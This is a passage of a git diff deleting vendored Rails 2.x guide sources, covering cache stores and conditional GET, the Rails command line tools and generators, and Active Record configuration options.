-cache strings. Some cache store implementations, like MemoryStore, are able to
-cache arbitrary Ruby objects, but don't count on every cache store to be able
-to do that.
-
-The default cache stores provided with Rails include:
-
-1) ActiveSupport::Cache::MemoryStore: A cache store implementation which stores
-everything into memory in the same process. If you're running multiple Ruby on
-Rails server processes (which is the case if you're using mongrel_cluster or
-Phusion Passenger), then this means that your Rails server process instances
-won't be able to share cache data with each other. If your application never
-performs manual cache item expiry (e.g. when you‘re using generational cache
-keys), then using +MemoryStore+ is ok. Otherwise, consider carefully whether you
-should be using this cache store.  
-
-+MemoryStore+ is not only able to store strings, but also arbitrary Ruby objects.
-
-+MemoryStore+ is not thread-safe. Use +SynchronizedMemoryStore+ instead if you
-need thread-safety.
-                                      
-
-<ruby>
-ActionController::Base.cache_store = :memory_store
-</ruby>
-
-2) ActiveSupport::Cache::FileStore: Cached data is stored on the disk. This is
-the default store and the default path for this store is: /tmp/cache. Works
-well for all types of environments and allows all processes running from the
-same application directory to access the cached content. If /tmp/cache does not
-exist, the default store becomes MemoryStore.
-
-<ruby>
-ActionController::Base.cache_store = :file_store, "/path/to/cache/directory"
-</ruby>
-
-3) ActiveSupport::Cache::DRbStore: Cached data is stored in a separate shared
-DRb process that all servers communicate with. This works for all environments
-and only keeps one cache around for all processes, but requires that you run
-and manage a separate DRb process.
-
-<ruby>
-ActionController::Base.cache_store = :drb_store, "druby://localhost:9192"
-</ruby>
-
-4) MemCached store: Works like DRbStore, but uses Danga's MemCache instead.
-Rails uses the bundled memcached-client gem by default. This is currently the
-most popular cache store for production websites.
-
-Special features:
-
-* Clustering and load balancing. One can specify multiple memcached servers,
-   and MemCacheStore will load balance between all available servers. If a
-   server goes down, then MemCacheStore will ignore it until it goes back
-   online.
-* Time-based expiry support. See +write+ and the +:expires_in+ option.
-* Per-request in memory cache for all communication with the MemCache server(s).
-
-It also accepts a hash of additional options:
-
-* +:namespace+- specifies a string that will automatically be prepended to keys when accessing the memcached store.
-* +:readonly+- a boolean value that when set to true will make the store read-only, with an error raised on any attempt to write.
-* +:multithread+ - a boolean value that adds thread safety to read/write operations - it is unlikely you'll need to use this option as the Rails threadsafe! method offers the same functionality.
-
-The read and write methods of the MemCacheStore accept an options hash too.
-When reading you can specify +:raw => true+ to prevent the object being
-marshaled
-(by default this is false which means the raw value in the cache is passed to
-+Marshal.load+ before being returned to you.)
-
-When writing to the cache it is also possible to specify +:raw => true+. This means
-that the value is not passed to +Marshal.dump+ before being stored in the cache (by
-default this is false). 
-
-The write method also accepts an +:unless_exist+ flag which determines whether
-the memcached add (when true) or set (when false) method is used to store the
-item in the cache and an +:expires_in+ option that specifies the time-to-live
-for the cached item in seconds.
-
-
-<ruby>
-ActionController::Base.cache_store = :mem_cache_store, "localhost"
-</ruby>
-
-5) ActiveSupport::Cache::SynchronizedMemoryStore: Like ActiveSupport::Cache::MemoryStore but thread-safe.
-
-
-<ruby>
-ActionController::Base.cache_store = :synchronized_memory_store
-</ruby>
-
-6) ActiveSupport::Cache::CompressedMemCacheStore: Works just like the regular
-MemCacheStore but uses GZip to decompress/compress on read/write.
-
-
-<ruby>
-ActionController::Base.cache_store = :compressed_mem_cache_store, "localhost"
-</ruby>
-
-7) Custom store: You can define your own cache store (new in Rails 2.1)
-
-
-<ruby>
-ActionController::Base.cache_store = MyOwnStore.new("parameter")
-</ruby>
-
-NOTE: +config.cache_store+ can be used in place of
-+ActionController::Base.cache_store+ in the +Rails::Initializer.run+ block in
-environment.rb.
-
-In addition to all of this, Rails also adds the +ActiveRecord::Base#cache_key+
-method that generates a key using the class name, id and updated_at timestamp
-(if available).
-
-An example:
-
-<ruby>
-Rails.cache.read("city")   # => nil
-Rails.cache.write("city", "Duckburgh")
-Rails.cache.read("city")   # => "Duckburgh"
-</ruby>
-
-h3. Conditional GET Support
-
-Conditional GETs are a feature of the HTTP specification that provide a way for web
-servers to tell browsers that the response to a GET request hasn't changed
-since the last request and can be safely pulled from the browser cache.
-
-They work by using the HTTP_IF_NONE_MATCH and HTTP_IF_MODIFIED_SINCE headers to
-pass back and forth both a unique content identifier and the timestamp of when
-the content was last changed. If the browser makes a request where the content
-identifier (etag) or last modified since timestamp matches the server’s version
-then the server only needs to send back an empty response with a not modified
-status.
-
-It is the server's (i.e. our) responsibility to look for a last modified
-timestamp and the if-none-match header and determine whether or not to send
-back the full response. With conditional-get support in rails this is a pretty
-easy task:
-
-<ruby>
-class ProductsController < ApplicationController
-
-  def show
-    @product = Product.find(params[:id])
-
-    # If the request is stale according to the given timestamp and etag value
-    # (i.e. it needs to be processed again) then execute this block
-    if stale?(:last_modified => @product.updated_at.utc, :etag => @product)
-      respond_to do |wants|
-        # ... normal response processing
-      end
-    end
-
-    # If the request is fresh (i.e. it's not modified) then you don't need to do
-    # anything. The default render checks for this using the parameters
-    # used in the previous call to stale? and will automatically send a
-    # :not_modified.  So that's it, you're done.
-end
-</ruby>
-
-If you don't have any special response processing and are using the default
-rendering mechanism (i.e. you're not using respond_to or calling render
-yourself) then you’ve got an easy helper in fresh_when:
-
-<ruby>
-class ProductsController < ApplicationController
-
-  # This will automatically send back a :not_modified if the request is fresh,
-  # and will render the default template (product.*) if it's stale.
-
-  def show
-    @product = Product.find(params[:id])
-    fresh_when :last_modified => @product.published_at.utc, :etag => @article
-  end
-end
-</ruby>
-
-h3. Advanced Caching
-
-Along with the built-in mechanisms outlined above, a number of excellent
-plugins exist to help with finer grained control over caching. These include
-Chris Wanstrath's excellent cache_fu plugin (more info "here": http://errtheblog.com/posts/57-kickin-ass-w-cachefu) and Evan Weaver's
-interlock plugin (more info "here": http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/). Both
-of these plugins play nice with memcached and are a must-see for anyone
-seriously considering optimizing their caching needs.
-
-Also the new "Cache money":http://github.com/nkallen/cache-money/tree/master plugin is supposed to be mad cool. 
-
-h3. References
-
-* "RailsEnvy, Rails Caching Tutorial, Part 1":http://www.railsenvy.com/2007/2/28/rails-caching-tutorial
-* "RailsEnvy, Rails Caching Tutorial, Part 1":http://www.railsenvy.com/2007/3/20/ruby-on-rails-caching-tutorial-part-2
-* "ActiveSupport::Cache documentation":http://api.rubyonrails.org/classes/ActiveSupport/Cache.html
-* "Rails 2.1 integrated caching tutorial":http://thewebfellas.com/blog/2008/6/9/rails-2-1-now-with-better-integrated-caching
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/10-guide-to-caching
-
-* February  22, 2009: Beefed up the section on cache_stores
-* December  27, 2008: Typo fixes
-* November  23, 2008: Incremental updates with various suggested changes and formatting cleanup
-* September 15, 2008: Initial version by Aditya Chadha
diff --git a/vendor/rails/railties/guides/source/command_line.textile b/vendor/rails/railties/guides/source/command_line.textile
deleted file mode 100644
index d0424584..00000000
--- a/vendor/rails/railties/guides/source/command_line.textile
+++ /dev/null
@@ -1,589 +0,0 @@
-h2. A Guide to The Rails Command Line
-
-Rails comes with every command line tool you'll need to
-
-* Create a Rails application
-* Generate models, controllers, database migrations, and unit tests
-* Start a development server
-* Mess with objects through an interactive shell
-* Profile and benchmark your new creation
-
-NOTE: This tutorial assumes you have basic Rails knowledge from reading the "Getting Started with Rails Guide":getting_started.html.
-
-endprologue.
-
-h3. Command Line Basics
-
-There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:
-
-* console
-* server
-* rake
-* generate
-* rails
-
-Let's create a simple Rails application to step through each of these commands in context.
-
-h4. +rails+
-
-The first thing we'll want to do is create a new Rails application by running the +rails+ command after installing Rails.
-
-WARNING: You know you need the rails gem installed by typing +gem install rails+ first, right? Okay, okay, just making sure.
-
-<shell>
-$ rails commandsapp
-
-     create
-     create  app/controllers
-     create  app/helpers
-     create  app/models
-     ...
-     ...
-     create  log/production.log
-     create  log/development.log
-     create  log/test.log
-</shell>
-
-Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
-
-INFO: This output will seem very familiar when we get to the +generate+ command. Creepy foreshadowing!
-
-h4. +server+
-
-Let's try it! The +server+ command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to view your work through a web browser.
-
-INFO: WEBrick isn't your only option for serving Rails. We'll get to that in a later section.
-
-Without any prodding of any kind, +server+ will run our new shiny Rails app:
-
-<shell>
-$ cd commandsapp
-$ ./script/server
-=> Booting WEBrick...
-=> Rails 2.2.0 application started on http://0.0.0.0:3000
-=> Ctrl-C to shutdown server; call with --help for options
-[2008-11-04 10:11:38] INFO  WEBrick 1.3.1
-[2008-11-04 10:11:38] INFO  ruby 1.8.5 (2006-12-04) [i486-linux]
-[2008-11-04 10:11:38] INFO  WEBrick::HTTPServer#start: pid=18994 port=3000
-</shell>
-
-WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to http://localhost:3000. I'll wait.
-
-See? Cool! It doesn't do much yet, but we'll change that.
-
-h4. +generate+
-
-The +generate+ command uses templates to create a whole lot of things. You can always find out what's available by running +generate+ by itself. Let's do that:
-
-<shell>
-$ ./script/generate
-Usage: ./script/generate generator [options] [args]
-
-...
-...
-
-Installed Generators
-  Built-in: controller, integration_test, mailer, migration, model, observer, performance_test, plugin, resource, scaffold, session_migration
-
-...
-...
-</shell>
-
-NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
-
-Using generators will save you a large amount of time by writing *boilerplate code* for you -- necessary for the darn thing to work, but not necessary for you to spend time writing. That's what we have computers for, right?
-
-Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
-
-INFO: All Rails console utilities have help text. As with most *NIX utilities, you can try adding +--help+ or +-h+ to the end, for example +./script/server --help+.
-
-<shell>
-$ ./script/generate controller
-Usage: ./script/generate controller ControllerName [options]
-
-...
-...
-
-Example:
-    ./script/generate controller CreditCard open debit credit close
-
-    Credit card controller with URLs like /credit_card/debit.
-        Controller: app/controllers/credit_card_controller.rb
-        Views:      app/views/credit_card/debit.html.erb [...]
-        Helper:     app/helpers/credit_card_helper.rb
-        Test:       test/functional/credit_card_controller_test.rb
-
-Modules Example:
-    ./script/generate controller 'admin/credit_card' suspend late_fee
-
-    Credit card admin controller with URLs /admin/credit_card/suspend.
-        Controller: app/controllers/admin/credit_card_controller.rb
-        Views:      app/views/admin/credit_card/debit.html.erb [...]
-        Helper:     app/helpers/admin/credit_card_helper.rb
-        Test:       test/functional/admin/credit_card_controller_test.rb
-</shell>
-
-Ah, the controller generator is expecting parameters in the form of +generate controller ControllerName action1 action2+. Let's make a +Greetings+ controller with an action of *hello*, which will say something nice to us.
-
-<shell>
-$ ./script/generate controller Greetings hello
-     exists  app/controllers/
-     exists  app/helpers/
-     create  app/views/greetings
-     exists  test/functional/
-     create  app/controllers/greetings_controller.rb
-     create  test/functional/greetings_controller_test.rb
-     create  app/helpers/greetings_helper.rb
-     create  app/views/greetings/hello.html.erb
-</shell>
-
-Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file.
-
-Let's check out the controller and modify it a little (in +app/controllers/greetings_controller.rb+):
-
-<ruby>
-class GreetingsController < ApplicationController
-  def hello
-    @message = "Hello, how are you today? I am exuberant!"
-  end
-
-end
-</ruby>
-
-Then the view, to display our nice message (in +app/views/greetings/hello.html.erb+):
-
-<html>
-<h1>A Greeting for You!</h1>
-<p><%= @message %></p>
-</html>
-
-Deal. Go check it out in your browser. Fire up your server. Remember? +./script/server+ at the root of your Rails application should do it.
-
-<shell>
-$ ./script/server
-=> Booting WEBrick...
-</shell>
-
-WARNING: Make sure that you do not have any "tilde backup" files in +app/views/(controller)+, or else WEBrick will _not_ show the expected output. This seems to be a *bug* in Rails 2.3.0.
-
-The URL will be +http://localhost:3000/greetings/hello+. I'll wait for you to be suitably impressed.
-
-INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the *index* action of that controller.
-
-"What about data, though?", you ask over a cup of coffee. Rails comes with a generator for data models too. Can you guess its generator name?
-
-<shell>
-$ ./script/generate model
-Usage: ./script/generate model ModelName [field:type, field:type]
-
-...
-
-Examples:
-    ./script/generate model account
-
-        creates an Account model, test, fixture, and migration:
-            Model:      app/models/account.rb
-            Test:       test/unit/account_test.rb
-            Fixtures:   test/fixtures/accounts.yml
-            Migration:  db/migrate/XXX_add_accounts.rb
-
-    ./script/generate model post title:string body:text published:boolean
-
-        creates a Post model with a string title, text body, and published flag.
-</shell>
-
-But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A *scaffold* in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.
-
-Let's set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
-
-<shell>
-$ ./script/generate scaffold HighScore game:string score:integer
-    exists  app/models/
-    exists  app/controllers/
-    exists  app/helpers/
-    create  app/views/high_scores
-    create  app/views/layouts/
-    exists  test/functional/
-    create  test/unit/
-    create  public/stylesheets/
-    create  app/views/high_scores/index.html.erb
-    create  app/views/high_scores/show.html.erb
-    create  app/views/high_scores/new.html.erb
-    create  app/views/high_scores/edit.html.erb
-    create  app/views/layouts/high_scores.html.erb
-    create  public/stylesheets/scaffold.css
-    create  app/controllers/high_scores_controller.rb
-    create  test/functional/high_scores_controller_test.rb
-    create  app/helpers/high_scores_helper.rb
-     route  map.resources :high_scores
-dependency  model
-    exists    app/models/
-    exists    test/unit/
-    create    test/fixtures/
-    create    app/models/high_score.rb
-    create    test/unit/high_score_test.rb
-    create    test/fixtures/high_scores.yml
-    exists    db/migrate
-    create    db/migrate/20081217071914_create_high_scores.rb
-</shell>
-
-Taking it from the top - the generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the +high_scores+ table and fields), takes care of the route for the *resource*, and new tests for everything.
-
-The migration requires that we *migrate*, that is, run some Ruby code (living in that +20081217071914_create_high_scores.rb+) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the +rake db:migrate+ command. We'll talk more about Rake in-depth in a little while.
-
-CAUTION: Hey. Install the sqlite3-ruby gem while you're at it. +gem install sqlite3-ruby+
-
-<shell>
-$ rake db:migrate
-(in /home/commandsapp)
-  CreateHighScores: migrating
-    create_table(:high_scores)
-    -> 0.0070s
-  CreateHighScores: migrated (0.0077s)
-</shell>
-
-INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment.
-
-Let's see the interface Rails created for us. ./script/server; http://localhost:3000/high_scores
-
-We can create new high scores (55,160 on Space Invaders!)
-
-h4. +console+
-
-The +console+ command lets you interact with your Rails application from the command line. On the underside, +script/console+ uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.
-
-h4. +dbconsole+
-
-+dbconsole+ figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.
-
-h4. +plugin+
-
-The +plugin+ command simplifies plugin management; think a miniature version of the Gem utility. Let's walk through installing a plugin. You can call the sub-command *discover*, which sifts through repositories looking for plugins, or call *source* to add a specific repository of plugins, or you can specify the plugin location directly.
-
-Let's say you're creating a website for a client who wants a small accounting system. Every event having to do with money must be logged, and must never be deleted. Wouldn't it be great if we could override the behavior of a model to never actually take its record out of the database, but *instead*, just set a field?
-
-There is such a thing! The plugin we're installing is called "acts_as_paranoid", and it lets models implement a "deleted_at" column that gets set when you call destroy. Later, when calling find, the plugin will tack on a database check to filter out "deleted" things.
-
-<shell>
-$ ./script/plugin install http://svn.techno-weenie.net/projects/plugins/acts_as_paranoid
-+ ./CHANGELOG
-+ ./MIT-LICENSE
-...
-...
-</shell>
-
-h4. +runner+
-
-<tt>runner</tt> runs Ruby code in the context of Rails non-interactively. For instance:
-
-<shell>
-$ ./script/runner "Model.long_running_method"
-</shell>
-
-h4. +destroy+
-
-Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it. Believe you-me, the creation of this tutorial used this command many times!
-
-<shell>
-$ ./script/generate model Oops
-      exists  app/models/
-      exists  test/unit/
-      exists  test/fixtures/
-      create  app/models/oops.rb
-      create  test/unit/oops_test.rb
-      create  test/fixtures/oops.yml
-      exists  db/migrate
-      create  db/migrate/20081221040817_create_oops.rb
-$ ./script/destroy model Oops
-    notempty  db/migrate
-    notempty  db
-          rm  db/migrate/20081221040817_create_oops.rb
-          rm  test/fixtures/oops.yml
-          rm  test/unit/oops_test.rb
-          rm  app/models/oops.rb
-    notempty  test/fixtures
-    notempty  test
-    notempty  test/unit
-    notempty  test
-    notempty  app/models
-    notempty  app
-</shell>
-
-h4. +about+
-
-Check it: Version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version! +about+ is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
-
-<shell>
-$ ./script/about
-About your application's environment
-Ruby version              1.8.6 (i486-linux)
-RubyGems version          1.3.1
-Rails version             2.2.0
-Active Record version     2.2.0
-Action Pack version       2.2.0
-Active Resource version   2.2.0
-Action Mailer version     2.2.0
-Active Support version    2.2.0
-Edge Rails revision       unknown
-Application root          /home/commandsapp
-Environment               development
-Database adapter          sqlite3
-Database schema version   20081217073400
-</shell>
-
-h3. The Rails Advanced Command Line
-
-The more advanced uses of the command line are focused around finding useful (even surprising at times) options in the utilities, and fitting utilities to your needs and specific work flow. Listed here are some tricks up Rails' sleeve.
-
-h4. Rails with Databases and SCM
-
-When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.
-
-Let's see what a +--git+ option and a +--database=postgresql+ option will do for us:
-
-<shell>
-$ mkdir gitapp
-$ cd gitapp
-$ git init
-Initialized empty Git repository in .git/
-$ rails . --git --database=postgresql
-      exists
-      create  app/controllers
-      create  app/helpers
-...
-...
-      create  tmp/cache
-      create  tmp/pids
-      create  Rakefile
-add 'Rakefile'
-      create  README
-add 'README'
-      create  app/controllers/application_controller_.rb
-add 'app/controllers/application_controller_.rb'
-      create  app/helpers/application_helper.rb
-...
-      create  log/test.log
-add 'log/test.log'
-</shell>
-
-We had to create the *gitapp* directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:
-
-<shell>
-$ cat config/database.yml
-# PostgreSQL. Versions 7.4 and 8.x are supported.
-#
-# Install the ruby-postgres driver:
-#   gem install ruby-postgres
-# On Mac OS X:
-#   gem install ruby-postgres -- --include=/usr/local/pgsql
-# On Windows:
-#   gem install ruby-postgres
-#       Choose the win32 build.
-#       Install PostgreSQL and put its /bin directory on your path.
-development:
-  adapter: postgresql
-  encoding: unicode
-  database: gitapp_development
-  pool: 5
-  username: gitapp
-  password:
-...
-...
-</shell>
-
-It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the +rails+ command to generate the basis of your app.
-
-h4. +server+ with Different Backends
-
-Many people have created a large number different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!).
-
-NOTE: For more details on the Rack integration, see "Rails on Rack":rails_on_rack.html.
-
-To use a different server, just install its gem, then use its name for the first parameter to +script/server+:
-
-<shell>
-$ sudo gem install mongrel
-Building native extensions.  This could take a while...
-Building native extensions.  This could take a while...
-Successfully installed gem_plugin-0.2.3
-Successfully installed fastthread-1.0.1
-Successfully installed cgi_multipart_eof_fix-2.5.0
-Successfully installed mongrel-1.1.5
-...
-...
-Installing RDoc documentation for mongrel-1.1.5...
-$ script/server mongrel
-=> Booting Mongrel (use 'script/server webrick' to force WEBrick)
-=> Rails 2.2.0 application starting on http://0.0.0.0:3000
-...
-</shell>
-
-h4. The Rails Generation: Generators
-
-INFO: For a good rundown on generators, see "Understanding Generators":http://wiki.rubyonrails.org/rails/pages/UnderstandingGenerators. A lot of its material is presented here.
-
-Generators are code that generates code. Let's experiment by building one. Our generator will generate a text file.
-
-The Rails generator by default looks in these places for available generators, where RAILS_ROOT is the root of your Rails application, like /home/foobar/commandsapp:
-
-* RAILS_ROOT/lib/generators
-* RAILS_ROOT/vendor/generators
-* Inside any plugin with a directory like "generators" or "rails_generators"
-* ~/.rails/generators
-* Inside any Gem you have installed with a name ending in "_generator"
-* Inside *any* Gem installed with a "rails_generators" path, and a file ending in "_generator.rb"
-* Finally, the builtin Rails generators (controller, model, mailer, etc.)
-
-Let's try the fourth option (in our home directory), which will be easy to clean up later:
-
-<shell>
-$ mkdir -p ~/.rails/generators/tutorial_test/templates
-$ touch ~/.rails/generators/tutorial_test/templates/tutorial.erb
-$ touch ~/.rails/generators/tutorial_test/tutorial_test_generator.rb
-</shell>
-
-We'll fill +tutorial_test_generator.rb+ out with:
-
-<ruby>
-class TutorialTestGenerator < Rails::Generator::Base
-  def initialize(*runtime_args)
-    super(*runtime_args)
-    @tut_args = runtime_args
-  end
-
-  def manifest
-    record do |m|
-      m.directory "public"
-      m.template "tutorial.erb", File.join("public", "tutorial.txt"),
-        :assigns => { :args => @tut_args }
-    end
-  end
-end
-</ruby>
-
-We take whatever args are supplied, save them to an instance variable, and literally copying from the Rails source, implement a +manifest+ method, which calls +record+ with a block, and we:
-
-* Check there's a *public* directory. You bet there is.
-* Run the ERb template called "tutorial.erb".
-* Save it into "RAILS_ROOT/public/tutorial.txt".
-* Pass in the arguments we saved through the +:assign+ parameter.
-
-Next we'll build the template:
-
-<shell>
-$ cat ~/.rails/generators/tutorial_test/templates/tutorial.erb
-I'm a template!
-
-I got assigned some args:
-<%= require 'pp'; PP.pp(args, "") %>
-</shell>
-
-Then we'll make sure it got included in the list of available generators:
-
-<shell>
-$ ./script/generate
-...
-...
-Installed Generators
-  User: tutorial_test
-</shell>
-
-SWEET! Now let's generate some text, yeah!
-
-<shell>
-$ ./script/generate tutorial_test arg1 arg2 arg3
-      exists  public
-      create  public/tutorial.txt
-</shell>
-
-And the result:
-
-<shell>
-$ cat public/tutorial.txt
-I'm a template!
-
-I got assigned some args:
-[["arg1", "arg2", "arg3"],
- {:collision=>:ask,
-  :quiet=>false,
-  :generator=>"tutorial_test",
-  :command=>:create}]
-</shell>
-
-Tada!
-
-h4. Rake is Ruby Make
-
-Rake is a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and +.rake+ files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other.
-
-You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing +rake --tasks+. Each task has a description, and should help you find the thing you need.
-
-<shell>
- rake --tasks
-(in /home/developer/commandsapp)
-rake db:abort_if_pending_migrations       # Raises an error if there are pending migrations
-rake db:charset                           # Retrieves the charset for the current environment's database
-rake db:collation                         # Retrieves the collation for the current environment's database
-rake db:create                            # Create the database defined in config/database.yml for the current RAILS_ENV
-...
-...
-rake tmp:pids:clear                       # Clears all files in tmp/pids
-rake tmp:sessions:clear                   # Clears all files in tmp/sessions
-rake tmp:sockets:clear                    # Clears all files in tmp/sockets
-</shell>
-
-Let's take a look at some of these 80 or so rake tasks.
-
-h5. +db:+ Database
-
-The most common tasks of the +db:+ Rake namespace are +migrate+ and +create+, and it will pay off to try out all of the migration rake tasks (+up+, +down+, +redo+, +reset+). +rake db:version+ is useful when troubleshooting, telling you the current version of the database.
-
-h5. +doc:+ Documentation
-
-If you want to strip out or rebuild any of the Rails documentation (including this guide!), the +doc:+ namespace has the tools. Stripping documentation is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform.
-
-h5. +gems:+ Ruby gems
-
-You can specify which gems your application uses, and +rake gems:install+ will install them for you. Look at your environment.rb to learn how with the *config.gem* directive.
-
-NOTE: +gems:unpack+ will unpack, that is internalize your application's Gem dependencies by copying the Gem code into your vendor/gems directory. By doing this you increase your codebase size, but simplify installation on new hosts by eliminating the need to run +rake gems:install+, or finding and installing the gems your application uses.
-
-h5. +notes:+ Code note enumeration
-
-These tasks will search through your code for commented lines beginning with "FIXME", "OPTIMIZE", "TODO", or any custom annotation (like XXX) and show you them.
-
-h5. +rails:+ Rails-specific tasks
-
-In addition to the +gems:unpack+ task above, you can also unpack the Rails backend specific gems into vendor/rails by calling +rake rails:freeze:gems+, to unpack the version of Rails you are currently using, or +rake rails:freeze:edge+ to unpack the most recent (cutting, bleeding edge) version.
-
-When you have frozen the Rails gems, Rails will prefer to use the code in vendor/rails instead of the system Rails gems. You can "thaw" by running +rake rails:unfreeze+.
-
-After upgrading Rails, it is useful to run +rails:update+, which will update your config and scripts directories, and upgrade your Rails-specific javascript (like Scriptaculous).
-
-h5. +test:+ Rails tests
-
-INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html
-
-Rails comes with a test suite called Test::Unit. It is through the use of tests that Rails itself is so stable, and the slew of people working on Rails can prove that everything works as it should. 
-
-The +test:+ namespace helps in running the different tests you will (hopefully!) write.
-
-h5. +time:+ Timezones
-
-You can list all the timezones Rails knows about with +rake time:zones:all+, which is useful just in day-to-day life.
-
-h5. +tmp:+ Temporary files
-
-The tmp directory is, like in the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. The +tmp:+ namespace tasks will help you clear them if you need to if they've become overgrown, or create them in case of an +rm -rf *+ gone awry.
-
-h5. Miscellaneous Tasks
-
- +rake stats+ is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.
-
- +rake secret+ will give you a psuedo-random key to use for your session secret.
-
- +rake routes+ will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/29
diff --git a/vendor/rails/railties/guides/source/configuring.textile b/vendor/rails/railties/guides/source/configuring.textile
deleted file mode 100644
index d97ed56e..00000000
--- a/vendor/rails/railties/guides/source/configuring.textile
+++ /dev/null
@@ -1,234 +0,0 @@
-h2. Configuring Rails Applications
-
-This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:
-
-* Adjust the behavior of your Rails applications
-* Add additional code to be run at application start time
-
-endprologue.
-
-
-h3. Locations for Initialization Code
-
-Rails offers (at least) five good spots to place initialization code:
-
-* Preinitializers
-* environment.rb
-* Environment-specific Configuration Files
-* Initializers (load_application_initializers)
-* After-Initializers
-
-h3. Using a Preinitializer
-
-Rails allows you to use a preinitializer to run code before the framework itself is loaded. If you save code in +RAILS_ROOT/config/preinitializer.rb+, that code will be the first thing loaded, before any of the framework components (Active Record, Action Pack, and so on.) If you want to change the behavior of one of the classes that is used in the initialization process, you can do so in this file.
-
-h3. Configuring Rails Components
-
-In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The +environment.rb+ and environment-specific configuration files (such as +config/environments/production.rb+) allow you to specify the various settings that you want to pass down to all of the components. For example, the default Rails 2.3 +environment.rb+ file includes one setting:
-
-<ruby>
-config.time_zone = 'UTC'
-</ruby>
-
-This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same +config+ object:
-
-<ruby>
-config.active_record.colorize_logging = false
-</ruby>
-
-Rails will use that particular setting to configure Active Record.
-
-h4. Configuring Active Record
-
-<tt>ActiveRecord::Base</tt> includes a variety of configuration options:
-
-* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8.x Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an ActiveRecord model class or an ActiveRecord model instance. Set to nil to disable logging.
-
-* +primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices:
-** +:table_name+ would make the primary key for the Customer class +customerid+
-** +:table_name_with_underscore+ would make the primary key for the Customer class +customer_id+
-
-* +table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string.
-
-* +table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string.
-
-* +pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to +true+ (the default), then the Customer class will use the +customers+ table. If set to +false+, then the Customers class will use the +customer+ table.
-
-* +colorize_logging+ (true by default) specifies whether or not to use ANSI color codes when logging information from ActiveRecord.
-
-* +default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:local+.
-
-* +schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements.
-
-* +timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is +true+, to use timestamps, which are preferred if there are multiple developers working on the same application.
-
-* +lock_optimistically+ controls whether ActiveRecord will use optimistic locking. By default this is +true+.
-
-The MySQL adapter adds one additional configuration option:
-
-* +ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether ActiveRecord will consider all +tinyint(1)+ columns in a MySQL database to be booleans. By default this is +true+.
-
-The schema dumper adds one additional configuration option:
-
-* +ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +ActiveRecord::Base.schema_format == :ruby+.
-
